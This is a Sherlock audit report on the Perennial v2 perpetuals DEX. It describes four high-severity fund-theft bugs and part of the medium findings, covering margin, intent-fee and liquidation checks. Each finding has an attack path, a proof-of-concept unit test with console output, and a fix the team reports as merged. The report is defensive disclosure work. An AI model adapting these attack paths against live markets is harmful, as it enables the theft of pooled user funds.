SHERLOCK

Security Review For Perennial

Public Audit Contest Prepared For: **Perennial**
Lead Security Expert: **panprog**
Date Audited: **January 23 - January 31, 2025**
Final Commit: **0616283**

Introduction

Perennial is a Perpetuals DEX. This update introduces new features to improve RFQ order placement and the addition of Solver vaults.

Scope

Repository: equilibria-xyz/perennial-v2

Audited Commit: 1beb10a3fe23a8a594b4275d376e261dffa811c2

Final Commit: 0616283ba4368f9510e0724c49b67bf53854d12b

Files:

- packages/core/contracts/Market.sol
- packages/core/contracts/Verifier.sol
- packages/core/contracts/libs/CheckpointLib.sol
- packages/core/contracts/libs/InvariantLib.sol
- packages/core/contracts/libs/MagicValueLib.sol
- packages/core/contracts/types/Fill.sol
- packages/core/contracts/types/Guarantee.sol
- packages/core/contracts/types/Order.sol
- packages/core/contracts/types/Position.sol
- packages/core/contracts/types/Take.sol
- packages/oracle/contracts/keeper/KeeperOracle.sol
- packages/periphery/contracts/CollateralAccounts/AccountVerifier.sol
- packages/periphery/contracts/CollateralAccounts/Controller.sol
- packages/periphery/contracts/CollateralAccounts/Controller_Incentivized.sol
- packages/periphery/contracts/CollateralAccounts/Controller_Optimism.sol
- packages/periphery/contracts/CollateralAccounts/types/RelayedTake.sol
- packages/periphery/contracts/MultiInvoker/MultiInvoker.sol
- packages/periphery/contracts/MultiInvoker/MultiInvoker_Arbitrum.sol
- packages/periphery/contracts/MultiInvoker/MultiInvoker_Optimism.sol
- packages/periphery/contracts/TriggerOrders/Manager.sol
- packages/periphery/contracts/TriggerOrders/Manager_Arbitrum.sol
- packages/periphery/contracts/TriggerOrders/Manager_Optimism.sol

- packages/vault/contracts/MakerVault.sol
- packages/vault/contracts/SolverVault.sol
- packages/vault/contracts/Vault.sol
- packages/vault/contracts/libs/MakerStrategyLib.sol
- packages/vault/contracts/libs/SolverStrategyLib.sol
- packages/vault/contracts/types/Checkpoint.sol
- packages/vault/contracts/types/Target.sol
- packages/vault/contracts/types/VaultParameter.sol

Final Commit Hash

0616283ba4368f9510e0724c49b67bf53854d12b

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
4	3

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0x1982us panprog

Issue H-1: Anyone can steal all funds from the `market` due to incorrect health accounting for pending pnl from difference of intent price and market price when multiple intents are used.

Source:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/28

Found by

panprog

Summary

When user opens position from signed intent, pending orders are created for 2 accounts (intent taker and maker) with user-specified price. Upon settlement, there is some pnl realized to both accounts due to difference of intent price and market price. The intent price is specified by the user and can be any number within the limits set by the protocols off the latest commited price. The issue is that this pnl is accounted for in account health only for one (current) intent. If there are multiple intents pending for the same account, then all the other intents are ignored and thus attacker can send multiple intents, each of which keeps account healthy, but all of them combined put account into highly negative collateral, which is ignored by health check. This allows attacker to withdraw inflated profit from the other account, stealing all funds from the `market`.

Root Cause

When account health is checked, collateral is adjusted for only current intent (`newGuarantee`) in `InvariantLib.validate`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-panprog/blob/ac46a2fc8baf6c827ee20c69eecae66561a5c65f/perennial-v2/packages/perennial/contracts/types/Guarantee.sol#L71

All the other intents (at this, or previous pending orders) are ignored.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

Since intents can be easily created by any user, there are no pre-conditions for the attack. The scenario is as following:

- Attacker deposits some collateral into `account1` and `account2` (for example, `40`)
- Attacker signs intent with some position (like long `1`) and a price which is much higher than latest oracle price, but inside the protocol's max price deviation limit (say, of `120` when current price is `100`) from `account1`
- Attacker uses `account2` to calls `market.update` with the signed intent from `account1`. This is accepted, as `account1` collateral when checking update invariant is `40 + 1 * (100 - 120) = 40 - 20 = 20`
- The same intent is signed again from `account1` and `account2` submits it again. This is accepted again, as `account1` collateral when checking update invariant is again `40 + 1 * (100 - 120) = 40 - 20 = 20` (it only accounts the 2nd intent, ignoring the 1st intent). However, if this is settled (both intents), the collateral will be `40 + 2 * (100 - 120) = 40 - 40 = 0`.
- The same intent is signed again from `account1` and `account2` submits it again. This is accepted again, as `account1` collateral when checking update invariant is again `40 + 1 * (100 - 120) = 40 - 20 = 20` (it only accounts the 3rd intent, ignoring the 1st and the 2nd intents). However, if this is settled (all 3 intents), the collateral will be `40 + 3 * (100 - 120) = 40 - 60 = -20`.
- This is repeated as many times as necessary (everything in the same epoch, so that all intents are not settled)
- After the settlement, sum of all intents causes `account1` to be in highly negative collateral, while `account2` will be in the same profit.
- Attacker withdraws all funds which `market` has.

Impact

All market collateral token balance is stolen.

PoC

Add to `test/unit/Market.test.ts` in the `invariant violations` context:

```
it('multiple intents ignore pnl from the other intents price adjustments', async ()
↪   => {
  const marketParameter = { ...(await market.parameter()) }
  marketParameter.maxPriceDeviation = parse6decimal('10.00')
  await market.updateParameter(marketParameter)

  const intent = {
    amount: parse6decimal('0.3'),
    price: parse6decimal('1250'),
    fee: parse6decimal('0.5'),
    originator: liquidator.address,
    solver: owner.address,
    collateralization: parse6decimal('0.01'),
    common: {
      account: user.address,
      signer: user.address,
      domain: market.address,
      nonce: 0,
      group: 0,
      expiry: 0,
    },
  }

  const intent2 = {
    amount: parse6decimal('0.3'),
    price: parse6decimal('1250'),
    fee: parse6decimal('0.5'),
    originator: liquidator.address,
    solver: owner.address,
    collateralization: parse6decimal('0.01'),
    common: {
      account: user.address,
      signer: user.address,
      domain: market.address,
      nonce: 1,
      group: 0,
      expiry: 0,
    },
  }

  const LOWER_COLLATERAL = parse6decimal('500')

  dsu.transferFrom.whenCalledWith(user.address, market.address,
↪   LOWER_COLLATERAL.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userB.address, market.address,
↪   LOWER_COLLATERAL.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userC.address, market.address,
↪   LOWER_COLLATERAL.mul(1e12)).returns(true)

  await market
    .connect(userB)
    ['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      POSITION,
      0,
      0,
      LOWER_COLLATERAL,
      false,
    )

  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0,
↪   LOWER_COLLATERAL, false)
  await market
    .connect(userC)
    ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0,
↪   LOWER_COLLATERAL, false)

  oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2,
↪   INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3,
↪   INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4,
↪   INITIALIZED_ORACLE_RECEIPT])
  oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])

  verifier.verifyIntent.returns()

  // solver
  factory.authorization
    .whenCalledWith(userC.address, userC.address, userC.address,
↪   constants.AddressZero)
    .returns([true, true, BigNumber.from(0)])
  // taker
  factory.authorization
    .whenCalledWith(user.address, userC.address, user.address, liquidator.address)
    .returns([false, true, parse6decimal('0.20')])

  await market
    .connect(userC)
    [
      'update(address,(int256,int256,uint256,address,address,uint256,(address,addre⌋
↪   ss,address,uint256,uint256,uint256)),bytes)'
    ](userC.address, intent, DEFAULT_SIGNATURE);

  await market
    .connect(userC)
    [
      'update(address,(int256,int256,uint256,address,address,uint256,(address,addre⌋
↪   ss,address,uint256,uint256,uint256)),bytes)'
    ](userC.address, intent2, DEFAULT_SIGNATURE);

  oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  var loc = await market.locals(user.address);
  console.log("user collateral: " + loc.collateral);
  var pos = await market.positions(user.address);
  console.log("user pos: long = " + pos.long);

  var loc = await market.locals(userC.address);
  console.log("userC collateral: " + loc.collateral);
  var pos = await market.positions(userC.address);
  console.log("userC pos: short = " + pos.short);
})
```

Console output:

```
user collateral: -176200000
user pos: long = 600000
userC collateral: 1176200000
userC pos: short = 600000
```

Notice that final userC's collateral is higher than sum of collateral of both users at the start, meaning that attacker has stolen these funds from the market.

Mitigation

Calculate sum of price adjustments for all pending guarantees (from latest + 1 to current), and add it to collateral when validating margined requirement.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/553

Issue H-2: `InvariantLib` uses current position for margin check allowing to withdraw collateral while the position decrease is only pending and can cause unexpected immediate user liquidation.

Source:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/30

Found by

panprog

Summary

In normal `update`, the `InvariantLib.validate` uses the `currentPosition` for margin check:

```
if (
    !PositionLib.margined(
        updateContext.currentPositionLocal.magnitude(),
        context.latestOracleVersion,
        context.riskParameter,
        updateContext.collateralization,
        context.local.collateral.add(newGuarantee.priceAdjustment(context.latestOra
↪   cleVersion.price)) // apply price override adjustment from intent if present
    )
) revert IMarket.MarketInsufficientMarginError();
```

However, during liquidation (`protected = true`), `latestPosition` is used for maintenence check:

```
if (context.latestPositionLocal.maintained(
    context.latestOracleVersion,
    context.riskParameter,
    context.local.collateral
)) return false; // latest position is properly maintained
```

The latest position is position at the last commited price, while current position is expected position when price is commited for the current epoch (latest + pending). These are 2 totally different values. Usage of `currentPosition` in margined check means that user is allowed to withdraw collateral based on "pending" position (which might still be invalidated). This is wrong by itself, but usage of `latestPosition` in liquidation maintenence check means that normal updates and liquidations are disconnected: perfectly fine normal `update` can easily cause unexpected immediate liquidation after the user withdraws collateral.

Root Cause

Incorrect usage of `currentPosition` in margined check in `InvariantLib.validate`: https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L87-L93

Additionally, liquidation uses `latestPosition` in maintenence check: https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L124-L128

Internal pre-conditions

- User reduces position and withdraws collateral, keeping healthy collateral for new (reduced) position.

External pre-conditions

None.

Attack Path

Happens by itself:

- User reduces position (e.g., from 10 to 5) and withdraws collateral, keeping enough to keep new reduced position healthy (e.g. withdrawing half of collateral).
- User account becomes immediately liquidatable and user is liquidated by any liquidator.
- Result: user is unfairly liquidated, losing liquidation and trading fees

User crafts self-liquidation to steal liquidation fees (can be profitable depending on trading fees and liquidation fee):

- Attacker opens position from account1
- Awaits settlement
- Attacker then closes full position from account1 and withdraws all collateral (allowed, since `currentPosition == 0`, so 0 collateral needed in margined check)
- Attacker immediately liquidates account1 from account2.
- Result: account1 is in bad debt, account2 earns liquidation fees.

Impact

If user is unfairly liquidated: easily 1%+ funds loss from liquidation. For example:

- Margin ratio is 1.2%, maintenence ratio is 1%

- Trading fee is 0.3%
- Asset price = 1000
- User has position size = 10, collateral = 200 (margin = 200 / (10*1000) = 2%)
- User reduces position size to 5 (fee = 5000*0.3% = 15), withdraws collateral = 95. Remaining collateral = 90. Margin = 95 / (5 * 1000) = 1.8%
- But the position is immediately liquidated (because maintenence for liquidation purpose = 95 / (10 * 1000) = 0.95%)
- User has position unfairly liquidated and loses fee of 15, so his loss is 15 / 90 = 17%

If liquidation bonus for liquidator is higher than trading fees from the position, then attacker can repeatedly self-liquidate until all market funds are withdrawn via liquidation fees.

PoC

Add to `test/unit/Market.test.ts` in the `invariant violations` context:

```
it('reduced position with collateral withdrawal makes liquidatable position', async
↪  () => {
  const riskParameter = { ...(await market.riskParameter()) }
  const riskParameterTakerFee = { ...riskParameter.takerFee }
  riskParameterTakerFee.linearFee = parse6decimal('0.003')
  riskParameter.takerFee = riskParameterTakerFee
  riskParameter.margin = parse6decimal('0.012')
  riskParameter.maintenance = parse6decimal('0.01')
  riskParameter.minMargin = parse6decimal('5')
  riskParameter.minMaintenance = parse6decimal('5')
  await market.updateRiskParameter(riskParameter)

  const COLLATERAL_USER = parse6decimal('30')
  const POSITION_USER = parse6decimal('10')
  const POSITION2_USER = parse6decimal('5')
  const COLLATERAL2_USER = parse6decimal('15')

  dsu.transferFrom.whenCalledWith(user.address, market.address,
↪  COLLATERAL_USER.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userB.address, market.address,
↪  COLLATERAL.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userC.address, market.address,
↪  COLLATERAL_USER.mul(1e12)).returns(true)

  await market
    .connect(userB)
    ['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      POSITION,
      0,
      0,
      COLLATERAL,
      false,
    )

  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0,
↪  POSITION_USER, 0, COLLATERAL_USER, false)

  oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2,
↪  INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3,
↪  INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4,
↪  INITIALIZED_ORACLE_RECEIPT])
  oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])

  // position opened. now partially close position and withdraw collateral
  dsu.transfer.whenCalledWith(user.address,
↪  COLLATERAL2_USER.mul(1e12)).returns(true)
  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0,
↪  POSITION2_USER, 0, -COLLATERAL2_USER, false)

  var loc = await market.locals(user.address);
  console.log("user collateral before liquidation: " + loc.collateral);

  // user becomes immediately liquidatable
  await market
    .connect(userC)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0,
↪  0, true)

  oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  var loc = await market.locals(user.address);
  console.log("user collateral: " + loc.collateral);
  var pos = await market.positions(user.address);
  console.log("user pos: long = " + pos.long);
})
```

Console output:

```
user collateral before liquidation: 11310000
user collateral: 7472950
user pos: long = 0
```

Demonstrates the user who reduced position from 10 to 5, is liquidated and his collateral reduces from 11.31 to 7.47 (actually, 11.31 doesn't include pending fees, so real collateral after fees is 9.31 before liquidation, 7.47 after unfair liquidation).

Mitigation

1. Do not use currentPosition in margin check. Previously, the marin check had latestPosition + pending.maxPositive, which was correct. With the new system it might make sense to add pending.maxPositive if pending.invalidation == 1, or currentPosition if pending.invalidation == 0
2. Make sure that liquidation maintenence check matches normal update margin check, so use the same position size for the check.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/565

Issue H-3: Intent orders are guaranteed to execute, but fees from these orders are not accounted in collateral, allowing user to withdraw all collateral ignoring these pending fees.

Source:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/31

Found by

panprog

Summary

In normal `update`, all orders are pending and might be invalidated if invalid price is commited for the corresponding epoch (no pricefeed available or price commit timeout). However, when `Intents` are used, these orders are guaranteed to be accepted (`invalidation = 0` for them). In particular, this feature allows to open and close orders via `Intents` even when open order epoch is not commited yet.

The issue is that the fees for the orders are pending and not included in collateral calculations. At the same time, since `Intent` orders are guaranteed, user can open them, close them and withdraw all collateral ignoring any pending fees. Then, after the price for the corresponding epoch is commited, the fees are added to user collateral (which is 0), thus user goes into bad debt. These fees taken are distributed to admin and part of them becomes claimable by the referrer.

This means that attacker can open, close, withdraw all collateral at 0 cost, and after epoch price is commited, the referrer (also controlled by attacker) can claim part of the fees. Essentially, attacker steals funds from the market via claiming fees which become bad debt of the abandoned account.

Root Cause

Trade fees are only applied to account collateral when advancing checkpoints (which happens after the epoch price is commited):
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/CheckpointLib.sol#L84-L92

At the same time, when all pending orders are guaranteed (from Intents, `invalidation == 0`), user is allowed to fully close the position, even if the opening is still pending (pending negative - which is pending closure - can exceed latest commited position):
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L35-L38

Internal pre-conditions

None.

External pre-conditions

None.

Attack Path

1. Attacker funds account1 and account2
2. Attacker uses account1 to create 2 Intents to open and then close position with account3 as originator and referral.
3. Attacker uses account2 to execute both intents (to open and then immediately close position)
4. Attacker withdraws all collateral from account1 and account2, getting the same amount he has deposited, because fees are still pending and ignored at this time. Note: steps 1-4 can be done in 1 transaction, thus attacker can use flash loan to execute the attack
5. Attacker waits until the epoch price is commited
6. Attacker call `market.claimFee(account3)` to get referral fees from the orders. Result: Attacker can steal all funds from the market.

Impact

All market funds are stolen by the Attacker.

PoC

Add to `test/unit/Market.test.ts` in the `invariant violations` context:

```
it('withdraw fees', async () => {
  const riskParameter = { ...(await market.riskParameter()) }
  riskParameter.margin = parse6decimal('0.012')
  riskParameter.maintenance = parse6decimal('0.01')
  riskParameter.minMargin = parse6decimal('5')
  riskParameter.minMaintenance = parse6decimal('5')
  await market.updateRiskParameter(riskParameter)

  const marketParameter = { ...(await market.parameter()) }
  marketParameter.takerFee = parse6decimal('0.003')
  await market.updateParameter(marketParameter)
```

```
factory.parameter.returns({
  maxPendingIds: 5,
  protocolFee: parse6decimal('0.50'),
  maxFee: parse6decimal('0.01'),
  maxLiquidationFee: parse6decimal('1000'),
  maxCut: parse6decimal('0.50'),
  maxRate: parse6decimal('10.00'),
  minMaintenance: parse6decimal('0.01'),
  minEfficiency: parse6decimal('0.1'),
  referralFee: parse6decimal('0.20'),
  minScale: parse6decimal('0.001'),
  maxStaleAfter: 14400,
})

const intent = {
  amount: parse6decimal('0.3'),
  price: parse6decimal('123'),
  fee: parse6decimal('0.5'),
  originator: liquidator.address,
  solver: liquidator.address,
  collateralization: parse6decimal('0.01'),
  common: {
    account: user.address,
    signer: user.address,
    domain: market.address,
    nonce: 0,
    group: 0,
    expiry: 0,
  },
}

const intent2 = {
  amount: -parse6decimal('0.3'),
  price: parse6decimal('123'),
  fee: parse6decimal('0.5'),
  originator: liquidator.address,
  solver: liquidator.address,
  collateralization: parse6decimal('0.01'),
  common: {
    account: user.address,
    signer: user.address,
    domain: market.address,
    nonce: 1,
    group: 0,
    expiry: 0,
  },
}

const LOWER_COLLATERAL = parse6decimal('500')
```

```
dsu.transferFrom.whenCalledWith(user.address, market.address,
↪  LOWER_COLLATERAL.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userB.address, market.address,
↪  LOWER_COLLATERAL.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userC.address, market.address,
↪  LOWER_COLLATERAL.mul(1e12)).returns(true)

await market
  .connect(userB)
  ['update(address,uint256,uint256,uint256,int256,bool)'](
    userB.address,
    POSITION,
    0,
    0,
    LOWER_COLLATERAL,
    false,
  )

await market
  .connect(user)
  ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0,
↪  LOWER_COLLATERAL, false)
await market
  .connect(userC)
  ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0,
↪  LOWER_COLLATERAL, false)

oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2,
↪  INITIALIZED_ORACLE_RECEIPT])
oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3,
↪  INITIALIZED_ORACLE_RECEIPT])
oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4,
↪  INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])

verifier.verifyIntent.returns()

// solver
factory.authorization
  .whenCalledWith(userC.address, userC.address, userC.address,
↪  constants.AddressZero)
  .returns([true, true, BigNumber.from(0)])
// taker
factory.authorization
  .whenCalledWith(user.address, userC.address, user.address, liquidator.address)
  .returns([false, true, parse6decimal('0.20')])

await market
  .connect(userC)
  [
      'update(address,(int256,int256,uint256,address,address,uint256,(address,addre⌋
↪   ss,address,uint256,uint256,uint256)),bytes)'
    ](userC.address, intent, DEFAULT_SIGNATURE);

  await market
    .connect(userC)
    [
      'update(address,(int256,int256,uint256,address,address,uint256,(address,addre⌋
↪   ss,address,uint256,uint256,uint256)),bytes)'
    ](userC.address, intent2, DEFAULT_SIGNATURE);

  const WITHDRAW_COLLATERAL = parse6decimal('500')

  dsu.transfer.whenCalledWith(user.address,
↪   WITHDRAW_COLLATERAL.mul(1e12)).returns(true)

  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0,
↪   -WITHDRAW_COLLATERAL, false)

  oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  var loc = await market.locals(user.address);
  console.log("user collateral: " + loc.collateral);
  var pos = await market.positions(user.address);
  console.log("user pos: long = " + pos.long);

  var loc = await market.locals(userC.address);
  console.log("userC collateral: " + loc.collateral);
  var pos = await market.positions(userC.address);
  console.log("userC pos: short = " + pos.short);

  var loc = await market.locals(userB.address);
  console.log("userB collateral: " + loc.collateral);

  var loc = await market.locals(liquidator.address);
  console.log("liquidator claimable: " + loc.claimable);

})
```

Console output:

```
user collateral: -221400
user pos: long = 0
userC collateral: 500000000
userC pos: short = 0
userB collateral: 500000000
liquidator claimable: 44280
```

Demonstrates how Attacker can use 3 accounts to generate claimable fees for free, creating abandoned bad debt account in the process.

Mitigation

The issue comes from the fact that position change is guaranteed for Intent orders, but fees are pending until price is commited and are not included in margin/maintenence check calculations. Possible mitigation is to subtract fees pending from the Intent orders (Guarantee) from the collateral in `InvariantLib` when doing margin/maintenence check.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/566

Issue H-4: When account is liquidated (protected), liquidator can increase account's position to any value up to `2**62 - 1` breaking all market accounting and stealing all market funds.

Source:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/32

Found by

panprog

Summary

Previously, there was a check which enforced position to only decrease during liquidation. However, the check is gone and in the current code only the condition of `pending.negative == latestPosition.magnitude`:

```
if (!context.pendingLocal.neg().eq(context.latestPositionLocal.magnitude())) return
↪ false; // no pending zero-cross, liquidate with full close
```

If account (before liquidation) is already in this state (for example, user has closed his position fully, but it's still pending - in this case `pendingLocal.neg()` will equal `latestPositionLocal.magnitude()` before the liquidation), then liquidator can increase position, and since it doesn't influence neither latest position nor pending negative (closing), it's allowed. Moreover, all collateral and position size checks are ignored during liquidation, so account position can be increased to any value, including max that can be stored: 2**62 - 1. If this is done, all market accounting is messed up as any slight price change will create huge profit or loss for makers and the liquidated account. This can be abused by attacker to steal all market funds.

Root Cause

Incorrect check when liquidating the account (lack of enforcement to only reduce the position): https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L121

Internal pre-conditions

None.

External pre-conditions

None.

Attack Path

1. Attacker opens tiny long position from account1 with minimal collateral, and tiny maker position from account2.
2. Attacker awaits for the position to become liquidatable. He can also force liquidation himself, as described in another issue (close position and withdraw collateral, then position becomes liquidatable), but this is not necessary, just makes it easier.
3. Just before the position becomes liquidatable, attacker closes it fully (so that it's pending close), making `pending.negative == latestPosition.magnitude`
4. Attacker liquidates his position, increasing it to `2**62 - 1` or any other huge amount.
5. Attacker awaits commited price for the epoch of position increase (or commits himself).
6. Immediately after that, attacker commits any other price different from the previous commit with timestamp 1 second after the previous commit.
7. In the same transaction, attacker withdraws all market collateral either from account1 or account2 (depending on which account ends up in a huge profit due to price change). Result: Attacker steal all funds from the market.

Impact

All market funds are stolen by the Attacker.

PoC

Add to `test/unit/Market.test.ts` in the `invariant violations` context:

```
it('liquidator increases position', async () => {
  const riskParameter = { ...(await market.riskParameter()) }
  const riskParameterTakerFee = { ...riskParameter.takerFee }
  riskParameterTakerFee.linearFee = parse6decimal('0.003')
  riskParameter.takerFee = riskParameterTakerFee
  riskParameter.margin = parse6decimal('0.012')
  riskParameter.maintenance = parse6decimal('0.01')
  riskParameter.minMargin = parse6decimal('5')
  riskParameter.minMaintenance = parse6decimal('5')
  riskParameter.staleAfter = BigNumber.from(14400)
  await market.updateRiskParameter(riskParameter)
```

```
const COLLATERAL_USER = parse6decimal('30')
const POSITION_USER = parse6decimal('10')
const POSITION2_USER = parse6decimal('100000000')

dsu.transferFrom.whenCalledWith(user.address, market.address,
↪  COLLATERAL_USER.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userB.address, market.address,
↪  COLLATERAL.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userC.address, market.address,
↪  COLLATERAL_USER.mul(1e12)).returns(true)

await market
  .connect(userB)
  ['update(address,uint256,uint256,uint256,int256,bool)'](
    userB.address,
    POSITION,
    0,
    0,
    COLLATERAL,
    false,
  )

await market
  .connect(user)
  ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0,
↪  POSITION_USER, 0, COLLATERAL_USER, false)

  const ORACLE_VERSION_3b = {
    price: parse6decimal('100'),
    timestamp: TIMESTAMP + 7200,
    valid: true,
  }

oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2,
↪  INITIALIZED_ORACLE_RECEIPT])
oracle.at.whenCalledWith(ORACLE_VERSION_3b.timestamp).returns([ORACLE_VERSION_3b,
↪  INITIALIZED_ORACLE_RECEIPT])
oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4,
↪  INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_4.timestamp])

// position opened. now close position (user is not liquidatable yet)
await market
  .connect(user)
  ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0,
↪  0, false)

var loc = await market.locals(user.address);
console.log("user collateral before liquidation: " + loc.collateral);
```

```
  // version 3 is commited and user becomes liquidatable
  oracle.status.returns([ORACLE_VERSION_3b, ORACLE_VERSION_4.timestamp])

  await market
    .connect(userC)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0,
↪   POSITION2_USER, 0, 0, true)

  oracle.status.returns([ORACLE_VERSION_4, ORACLE_VERSION_5.timestamp])

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  var loc = await market.locals(user.address);
  console.log("user collateral: " + loc.collateral);
  var pos = await market.positions(user.address);
  console.log("user pos: long = " + pos.long);
})
```

Console output:

```
user collateral before liquidation: 26310000
user collateral: -36899977657400
user pos: long = 100000000000000
```

Mitigation

Require the liquidation order to only decrease position.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/554

Issue M-1: Vault.settle(account=coordinator) will lose profitShares

Source:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/24

Found by

0x1982us

Summary

`Vault.settle()` turns a portion of the profit into `profitShares` for `coordinator`. Use method `_credit()` to save `profitShares` to `storage`. But it doesn't update the memory variable `context.local.shares`. It doesn't take into account the case where `account == coordinator`. This way, if you maliciously specify that the settlement account is `coordinator`, `settle()` will end up overwriting the new value with the old value in memory. Resulting in loss of `profitShares`.

Root Cause

/Vault.sol#L390 `settle()` call `_credit()`

```
    function _settle(Context memory context, address account) private {
...
        while (
            context.global.current > context.global.latest &&
            context.latestTimestamp >= (nextCheckpoint =
↪   _checkpoints[context.global.latest + 1].read()).timestamp
        ) {
            // process checkpoint
            UFixed6 profitShares;
            (context.mark, profitShares) = nextCheckpoint.complete(
                context.mark,
                context.parameter,
                _checkpointAtId(context, nextCheckpoint.timestamp)
            );
            context.global.shares = context.global.shares.add(profitShares);
@=>         _credit(coordinator, profitShares);
```

in Vault.sol#L424 save to storage but don't update `context.local.shares`

```
    function _credit(address account, UFixed6 shares) internal virtual {
        Account memory local = _accounts[account].read();
        local.shares = local.shares.add(shares);
```

```
@=>      _accounts[account].store(local);
    }
```

but at the last `_saveContext()` save `context.local.shares` to storage, it will override `_credit()` value if account == coordinator

```
    function _saveContext(Context memory context, address account) private {
@=>     if (account != address(0)) _accounts[account].store(context.local);
        _accounts[address(0)].store(context.global);
        _checkpoints[context.currentId].store(context.currentCheckpoint);
        mark = context.mark;
    }
```

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

Example context[coordinator].local.shares = 0

1. anyone call `settle(account = coordinator)`
2. suppose profitShares = 10
3. in `_credit()` save storage `_accounts[coordinator].shares = profitShares = 10`, but `context.local.shares` still 0
4. at last `_saveContext()` will overwrite `_accounts[coordinator].shares = context.local.shares = 0`
5. coordinator lose 10 shares

Impact

coordinator lose `profitShares`

PoC

No response

Mitigation

like `Market.sol#_credit()`, if coordinator == context.account , only change `context.local.shares`

```
-   function _credit(address account, UFixed6 shares) internal virtual {
+   function _credit(Context memory context, address account, UFixed6 shares)
 ↪  internal virtual {
+     if (account == context.account)  context.local.shares =
 ↪  context.local.shares.add(shares)
+     else {
          Account memory local = _accounts[account].read();
          local.shares = local.shares.add(shares);
          _accounts[account].store(local);
+     }
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/563

Issue M-2: Some accounts using Intents to trade might be liquidated while healthy or be unliquidatable while being unhealthy.

Source:
